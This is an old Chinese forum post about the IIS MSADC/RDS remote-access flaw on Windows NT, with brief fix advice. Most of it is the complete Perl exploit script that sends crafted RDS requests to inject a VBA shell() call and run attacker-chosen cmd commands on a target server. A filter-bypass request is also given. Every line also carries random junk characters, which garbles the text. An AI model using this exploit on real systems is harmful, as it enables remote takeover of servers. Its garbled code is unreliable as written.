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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) jo{[*]Oa  
hu%rp{m^,  
涉及程序: cG1-.,r  
Microsoft NT server *X8<hYKZq  
2LGeRw  
描述: J @C8;]  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 |VbF&*v`  
rD<G_%hP  
详细: P0uUVU=B|  
如果你没有时间读详细内容的话,就删除: Sq8` )$\  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 8`XpcK-0  
有关的安全问题就没有了。 zRN_` U  
LL|$M;S  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 mG@xehH  
W=41jw  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 w]X~I/6g  
关于利用ODBC远程漏洞的描述,请参看: T V\21  
W4Rs9NA}  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ; S7 %  
9Slx.9f  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 Bm2"} =  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp = zW}vm }  
!:t}8  
这里不再论述。 / >c F  
cdVh_"[  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: Ql&5fyW  
sYM3&ikyHI  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset DcaVT]"  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! 0FD#9r  
?RJ ) u  
pt<!b0G  
#将下面这段保存为txt文件,然后: "perl -x 文件名" |S[Gg  
E9TWLB5A)(  
#!perl | YmQO#''  
# <x@brXA  
# MSADC/RDS 'usage' (aka exploit) script fBBNP)  
# If>k~aL7I  
# by rain.forest.puppy K n%[&  
# 37Ux2t  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me N-EVH e'}6  
# beta test and find errors! ~6L\9B )  
z}&w7 O#   
use Socket; use Getopt::Std; `K37&b;`[  
getopts("e:vd:h:XR", \%args); f(!:_!m*  
{eA0I\c(C  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; @T[}] e  
nylrF"'e  
if (!defined $args{h} && !defined $args{R}) { mlc0XDS%  
print qq~ |n3fAN  
Usage: msadc.pl -h <host> { -d <delay> -X -v } tQE=c 7/M  
-h <host> = host you want to scan (ip or domain) 2iC7c6hc  
-d <seconds> = delay between calls, default 1 second _]:wltPv  
-X = dump Index Server path table, if available L;$Gn"7~  
-v = verbose xR `4<  
-e = external dictionary file for step 5 ^[6eo8Ck>  
gBb+Q,  
Or a -R will resume a command session 3* C9;Q}  
,paD/  
~; exit;} TOmq2*,/  
Bc3(xI'>J  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; |2w,Np-  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 78&(>8@m  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 5/4N  Y  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); " UaUaSg#  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ~/s(.oji  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } 6cH.s+  
cnJ(Fv_F$  
if (!defined $args{R}){ $ret = &has_msadc; &?C% -"|c  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} e@N@8i"q5  
H:byCFN-  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" [)UL}vAO\q  
. "cmd /c "; VsEMF i=  
$in=<STDIN>; chomp $in; 6S7 =+>  
$command="cmd /c " . $in ; TpXbJ]o9  
j"o8]UT/  
if (defined $args{R}) {&load; exit;} L:UJur%  
j6<o,0P  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Ve\^(9n  
&try_btcustmr; 'jh9n7mH  
2VO bj7F  
print "\nStep 2: Trying to make our own DSN..."; xQ4 5B` $  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; 6$]@}O^V  
vt)u`/u  
print "\nStep 3: Trying known DSNs..."; <^>O<P:v  
&known_dsn; MNd8#01q`  
2\Bt~;EIx  
print "\nStep 4: Trying known .mdbs..."; bV c"'RQ  
&known_mdb; ?t<yk(q  
d$.t0-lC  
if (defined $args{e}){ !9w3/Gthj  
print "\nStep 5: Trying dictionary of DSN names..."; 8+'9K%'@qX  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ('k;Ikut  
#mu3`,9V  
print "Sorry Charley...maybe next time?\n"; 2_i/ F)W  
exit; TY,5]*86I&  
}i,LP1R  
############################################################################## o"h* @.  
$M%<i~VXe&  
sub sendraw { # ripped and modded from whisker W ~(4t:hp  
sleep($delay); # it's a DoS on the server! At least on mine... 2P)*Y5`KBH  
my ($pstr)=@_; x[XN;W&  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || $&D$Uc`U>  
die("Socket problems\n"); vX|i5P0)8  
if(connect(S,pack "SnA4x8",2,80,$target)){ @hC,J  
select(S); $|=1; NQb!?w  
print $pstr; my @in=<S>; '?7?"v  
select(STDOUT); close(S); rjsqXo:9  
return @in; 'u"r^o?  
} else { die("Can't connect...\n"); }} 7i(U?\A;.  
EVs.'Xg<  
############################################################################## i$`OOV=/e  
"eKNk  
sub make_header { # make the HTTP request ?[<C,w~$`  
my $msadc=<<EOT Op''=Ar#sh  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 YT:])[gVV  
User-Agent: ACTIVEDATA q6E8^7RtS@  
Host: $ip 7bcl^~lY  
Content-Length: $clen PEA<H0  
Connection: Keep-Alive 2|a@,TW}-  
j;%RV)e  
ADCClientVersion:01.06 ;&="aD  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 }t.J;(ff:  
Iu(j"b#  
--!ADM!ROX!YOUR!WORLD! eYSVAj  
Content-Type: application/x-varg N=4`jy =  
Content-Length: $reqlen QN!.~>  
qU!xh )  
EOT }~/u%vI@M5  
; $msadc=~s/\n/\r\n/g; Wk3R6 V  
return $msadc;} (H=7(  
z +NxO !y  
############################################################################## 4q%hn3\  
m3o+iYkMD  
sub make_req { # make the RDS request #Z%?lx"Q0  
my ($switch, $p1, $p2)=@_; M@)^*=0H  
my $req=""; my $t1, $t2, $query, $dsn; @log=^  
_Nze="Pt  
if ($switch==1){ # this is the btcustmr.mdb query 8Ter]0M&  
$query="Select * from Customers where City=" . make_shell(); Hz A+Oi  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . B^8]quOH  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} y9<]F6TT  
<$m=@@qg  
elsif ($switch==2){ # this is general make table query d:|(l^]{r  
$query="create table AZZ (B int, C varchar(10))"; V* :Q~ ^  
$dsn="$p1";} DdAs]e|D[  
gZ{q85C.>  
elsif ($switch==3){ # this is general exploit table query UD.&p'^ /{  
$query="select * from AZZ where C=" . make_shell(); sqKLz  
$dsn="$p1";} h5@v:4Jjo~  
LojEJ  
elsif ($switch==4){ # attempt to hork file info from index server 6:PQkr  
$query="select path from scope()"; ;4E(n  
$dsn="Provider=MSIDXS;";} Z]Zs"$q@  
mv%Zh1khn/  
elsif ($switch==5){ # bad query 'ju  
$query="select"; ]{2Eo  
$dsn="$p1";} gW0{s[}T  
z x e6M~+  
$t1= make_unicode($query); Kterp%J?  
$t2= make_unicode($dsn); SM3qPlsF  
$req = "\x02\x00\x03\x00"; ^Ob#B!=  
$req.= "\x08\x00" . pack ("S1", length($t1)); W PDL$y  
$req.= "\x00\x00" . $t1 ; /Q|guJx  
$req.= "\x08\x00" . pack ("S1", length($t2)); 4q<LNvJA  
$req.= "\x00\x00" . $t2 ; .)eJL  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; <W$Ig@4[.d  
return $req;} %+>t @F,GM  
$x%3^{G  
############################################################################## 52RFB!Z[  
D4';QCwo  
sub make_shell { # this makes the shell() statement _6Ex}`fyJ  
return "'|shell(\"$command\")|'";} ZH@BHg|}H  
kTCWyc  
############################################################################## Kr;7~`$[  
:#yjg1aej  
sub make_unicode { # quick little function to convert to unicode G"_ 8`l  
my ($in)=@_; my $out; \W^+aNbv=8  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } :Fv d?[  
return $out;} ^F}HWpF_  
FNQR sNi  
############################################################################## ~c;D@.e\  
NTj:+z0  
sub rdo_success { # checks for RDO return success (this is kludge) N.j?:  
my (@in) = @_; my $base=content_start(@in);  ~\0uy3%  
if($in[$base]=~/multipart\/mixed/){ $s[DT!8N  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} #zRT  
return 0;} ss8de9T"'  
/CXrxeo  
############################################################################## n aQ0TN,  
*{/L7])gm  
sub make_dsn { # this makes a DSN for us \QpH~&QIS  
my @drives=("c","d","e","f"); iJIDx9 )Z  
print "\nMaking DSN: "; d{~5tv- H  
foreach $drive (@drives) { O&ur |&v  
print "$drive: "; ue YBD]3'  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . p-KMELB  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" AdCi*="m  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); t&GjW6]W  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ch^tq",1>  
return 0 if $2 eq "404"; # not found/doesn't exist ;,z[|"y  
if($2 eq "200") { Glt%%TJb   
foreach $line (@results) { $d@_R^]X  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 'Fe1]B"Y  
} return 0;} Ax'jNol  
8ec6J*b  
############################################################################## i/Nd  
W ix/Az  
sub verify_exists { &n|S:"B  
my ($page)=@_; h`1{tu  
my @results=sendraw("GET $page HTTP/1.0\n\n"); j|WuOZm\0  
return $results[0];} f,e7;u z%  
"q-,140_  
############################################################################## X={n9*Sd8  
c5jd q[0  
sub try_btcustmr { d|nJp-%V  
my @drives=("c","d","e","f"); ?O]iX;2vM  
my @dirs=("winnt","winnt35","winnt351","win","windows"); _t9@ vVQ  
Sk'S`vH  
foreach $dir (@dirs) { )v4?+$g  
print "$dir -> "; # fun status so you can see progress gEejLyOag  
foreach $drive (@drives) { =z=$S]qN  
print "$drive: "; # ditto 9`3%o9V9Y  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; f/_RtOSw  
$reqlenlen=length( "$reqlen" ); xj1FCT2  
$clen= 206 + $reqlenlen + $reqlen; ]i}3`e?  
3jH8pO^  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); \P3[_kbf1  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} AbWnDqv  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} jK#[r[q{  
P^1+;dL,D  
############################################################################## x{$~u2|  
,+iREh;  
sub odbc_error { L`fDc  
my (@in)=@_; my $base; m' LRP:9v  
my $base = content_start(@in); @kq~q;F  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this ~ jR:oN  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; G^Z SQ!  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ZTq"SQ>ym  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 3Pb]Of#  
return $in[$base+4].$in[$base+5].$in[$base+6];} E"EBj7<s  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ddf# c,SQ  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . L_3undy,  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} #0i] g)  
~@3X&E0S  
############################################################################## N*k`'T  
;:w?&4  
sub verbose { F<KUVe  
my ($in)=@_; qk Cj33v  
return if !$verbose; ?q&*|-%)_d  
print STDOUT "\n$in\n";} E7XFt#P.  
v=(L>gg  
############################################################################## UuNcBzB2d  
,ZVC@P,L  
sub save { -I#]#i@gX  
my ($p1, $p2, $p3, $p4)=@_; i[gq8%  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; sj)$o94=  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; o6FSSKM  
close OUT;} `%8byy@$  
gC}r$ZB(  
############################################################################## M]S&vE{D  
JN9 W:X.  
sub load { 7 TTU&7l~  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; pa7Iz^i  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); ) o)k~6uT  
@p=<IN>; close(IN); \= M*x  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); +) pO82  
$target= inet_aton($ip) || die("inet_aton problems"); )czuJ5  
print "Resuming to $ip ..."; E1atXx  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; p4 \r`  
if($p[1]==1) { ^Fy{Q*p`(  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; Qx9lcO_  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 1^bI9 /  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); 8s,B,s.  
if (rdo_success(@results)){print "Success!\n";} $)L=MEdx  
else { print "failed\n"; verbose(odbc_error(@results));}} g;bfi{8s_  
elsif ($p[1]==3){ tMWDKatb  
if(run_query("$p[3]")){ \6UK:'5{  
print "Success!\n";} else { print "failed\n"; }} ?m)3n0Uh  
elsif ($p[1]==4){ R7/"ye:7J  
if(run_query($drvst . "$p[3]")){ 6LGy0dWpG  
print "Success!\n"; } else { print "failed\n"; }} n4albG4  
exit;} RHV& m()Q  
{b|:q>Be8  
############################################################################## RCFocOOn  
xMk0Xf'_  
sub create_table { K_@[%  
my ($in)=@_; KL2#Bm_  
$reqlen=length( make_req(2,$in,"") ) - 28; yu3T5@Ww  
$reqlenlen=length( "$reqlen" ); ^Vl{IsY  
$clen= 206 + $reqlenlen + $reqlen; ,ux?wa+  
my @results=sendraw(make_header() . make_req(2,$in,"")); !nQ!J+ g  
return 1 if rdo_success(@results); 4M)  s  
my $temp= odbc_error(@results); verbose($temp); 9-<EeV_/  
return 1 if $temp=~/Table 'AZZ' already exists/; <2cl1Fb  
return 0;} &cty&(2p  
-t92!O   
############################################################################## &_q&TEi  
'USol<  
sub known_dsn { #6])\  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go VEolyPcsg&  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", gm**9]k^{  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", oW:p6d  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); I}5#!s< {&  
J#tGQO  
foreach $dSn (@dsns) { !n<vN@V*3d  
print "."; %R%e0|a  
next if (!is_access("DSN=$dSn")); 4I"p>FIkY  
if(create_table("DSN=$dSn")){ +w~ <2Kt8  
print "$dSn successful\n"; eq0&8/=  
if(run_query("DSN=$dSn")){ .xR J )9q  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 6 ufF34tA  
print "Something's borked. Use verbose next time\n";}}} print "\n";} aP}kl[W  
f'hrS}e  
############################################################################## W'Wr8~{h  
5*.JXx E;U  
sub is_access { {q9[0-LyJ  
my ($in)=@_; beLT4~Z=  
$reqlen=length( make_req(5,$in,"") ) - 28; |1sl>X,  
$reqlenlen=length( "$reqlen" ); 3"ALohlL  
$clen= 206 + $reqlenlen + $reqlen; !/+'O}@-E  
my @results=sendraw(make_header() . make_req(5,$in,"")); +tbG^w %  
my $temp= odbc_error(@results); $^ \8-k "  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); mnK SO  
return 0;} Tw:j}ERq  
2}Ga   
############################################################################## 3h:"-{MW.  
0dv# [  
sub run_query { \,YF['Qq  
my ($in)=@_; Ga5O&`h  
$reqlen=length( make_req(3,$in,"") ) - 28; <ID/\Qx`q  
$reqlenlen=length( "$reqlen" ); MfJ;":]O!  
$clen= 206 + $reqlenlen + $reqlen; X.u&4SH  
my @results=sendraw(make_header() . make_req(3,$in,"")); ` XAlzI  
return 1 if rdo_success(@results); B}Q.Is5  
my $temp= odbc_error(@results); verbose($temp); u n{LwZH  
return 0;} ![=C`O6K  
sW'SR  
############################################################################## L: hEt  
4Wz@^7|V5  
sub known_mdb { p^QEk~qw  
my @drives=("c","d","e","f","g"); .>4Zt'gCt  
my @dirs=("winnt","winnt35","winnt351","win","windows"); `)sC".b7  
my $dir, $drive, $mdb; @" -[@  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; .h!oo;@  
jV83%%e  
# this is sparse, because I don't know of many ,e6n3]W8  
my @sysmdbs=( "\\catroot\\icatalog.mdb", ,+0#.N s$  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", f+#^Lngo  
"\\system32\\certmdb.mdb", ^Ht!~So  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% *D&(6$[^  
vbH?[ Zr?  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", $a'n{EP  
"\\cfusion\\cfapps\\forums\\forums_.mdb", ^gP pmb<x  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", (9!$p|d*  
"\\cfusion\\cfapps\\security\\realm_.mdb", A*;I}F  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ya[][!.G  
"\\cfusion\\database\\cfexamples.mdb", %,HuG-L  
"\\cfusion\\database\\cfsnippets.mdb", 84xA/BRW  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", [)K?e!c8  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", El3Y1g3+3  
"\\cfusion\\brighttiger\\database\\cleam.mdb", y|sU-O2}Dl  
"\\cfusion\\database\\smpolicy.mdb", U?vG?{A  
"\\cfusion\\database\cypress.mdb", PL;PId<9w  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", [1 pWg^  
"\\website\\cgi-win\\dbsample.mdb", `a$-"tW~j  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", drr W?U  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" JQ-O=8]  
); #these are just CC Z'(Tkq  
foreach $drive (@drives) { ulY8$jB  
foreach $dir (@dirs){ V1[Cc?o  
foreach $mdb (@sysmdbs) { mmE!!J`B  
print "."; DG2CpR)S  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ vuL;P"F4&  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; VB*`"4e@b<  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ (XF"ckma  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; >ZAb9=/M)F  
} else { print "Something's borked. Use verbose next time\n"; }}}}} 3em&7QM  
[1OX: O|  
foreach $drive (@drives) { rCOH*m&  
foreach $mdb (@mdbs) { s L;  
print "."; >A'Q9Tia;  
if(create_table($drv . $drive . $dir . $mdb)){ M1{ru~Z9  
print "\n" . $drive . $dir . $mdb . " successful\n"; {51<EvyE*  
if(run_query($drv . $drive . $dir . $mdb)){ O[9>^y\,  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; |=R@nn   
} else { print "Something's borked. Use verbose next time\n"; }}}} teRK#: .P  
} O+8]y4%5  
u"WqI[IV  
############################################################################## "x;|li3;  
K)e;*D  
sub hork_idx { {#-I;I:  
print "\nAttempting to dump Index Server tables...\n"; '/2u^&W  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; pDw^~5P  
$reqlen=length( make_req(4,"","") ) - 28; BKd03s=  
$reqlenlen=length( "$reqlen" ); X\\c=[#8-  
$clen= 206 + $reqlenlen + $reqlen; 0keqtr  
my @results=sendraw2(make_header() . make_req(4,"","")); 2P&KU%D)0s  
if (rdo_success(@results)){ J|$(O$hYy  
my $max=@results; my $c; my %d; 2[^p6s[  
for($c=19; $c<$max; $c++){ : `Nh}Ka0  
$results[$c]=~s/\x00//g; Zo=w8Hr  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; O,$ ?Pj6  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; bl/tl_.p00  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; @m#1[n;  
$d{"$1$2"}="";} O r {9?;G  
foreach $c (keys %d){ print "$c\n"; } #3fS_;G  
} else {print "Index server doesn't seem to be installed.\n"; }} 6),U(e%  
puv/+!q  
##############################################################################  l,}^<P]  
=g]Ln)jc  
sub dsn_dict { R 4= ~  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); Z@Tb3N/[  
while(<IN>){ p#k>BHgnF  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; ';HNQe?vT  
next if (!is_access("DSN=$dSn")); k15fy"+Ut  
if(create_table("DSN=$dSn")){ <i<[TPv";  
print "$dSn successful\n"; #CRAQ#:45(  
if(run_query("DSN=$dSn")){ wD*z >v$  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { !(%^Tg=  
print "Something's borked. Use verbose next time\n";}}} nnw5 !q_  
print "\n"; close(IN);} pn5A6 #  
Mg7nv\6  
############################################################################## F. N4Q'2Z  
N;\G=q] 9  
sub sendraw2 { # ripped and modded from whisker 8y9`xRy  
sleep($delay); # it's a DoS on the server! At least on mine... Cob<N'.  
my ($pstr)=@_; g8+Ke'=_  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ceKR?%8s  
die("Socket problems\n"); APne!  
if(connect(S,pack "SnA4x8",2,80,$target)){ D@-'<0=  
print "Connected. Getting data"; n]K`ofjl^  
open(OUT,">raw.out"); my @in; \A~r~  
select(S); $|=1; print $pstr; 0$saDmED  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} fo$5WTY  
close(OUT); select(STDOUT); close(S); return @in; &Fw8V=Pw  
} else { die("Can't connect...\n"); }} [ X7LV  
+{eZ@  
############################################################################## mN!5JZ' 2  
MfJs?N0  
sub content_start { # this will take in the server headers @Czj] t`  
my (@in)=@_; my $c; .aA 8'/  
for ($c=1;$c<500;$c++) { ~7kIe+V  
if($in[$c] =~/^\x0d\x0a/){ vt(A?$j|A  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } 1\hh,s  
else { return $c+1; }}} P&6hk6#  
return -1;} # it should never get here actually Rt%3\?rf  
E0SP  
############################################################################## @c >a  
o?9k{  
sub funky { lZ\Si  
my (@in)=@_; my $error=odbc_error(@in); *8WcRx  
if($error=~/ADO could not find the specified provider/){ >TnV Lx<  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; E~b Yk6  
exit;} 2r 0u[  
if($error=~/A Handler is required/){ KS9 e V  
print "\nServer has custom handler filters (they most likely are patched)\n"; rM{3]v{~  
exit;} ptA-rX.  
if($error=~/specified Handler has denied Access/){ Ts~MkO  
print "\nServer has custom handler filters (they most likely are patched)\n"; Boi?Bt  
exit;}} %T_4n^beFQ  
@u4q\G\  
############################################################################## \!]Zq#*kH  
4R;6u[ a]u  
sub has_msadc { ``Yw-|&:Ae  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); ]>:LHW  
my $base=content_start(@results); Za5bx,^  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); qGH s2Og  
return 0;} ,(D:cRN  
S8zc1!  
######################## \W;+@w|c  
~9tPT 0^+  
P S$6`6G  
解决方案: p!XB\%sv'"  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll dxz.%a@PW  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 6)@Y41H]C  
Em(&cra  
拿出来充数 哈哈
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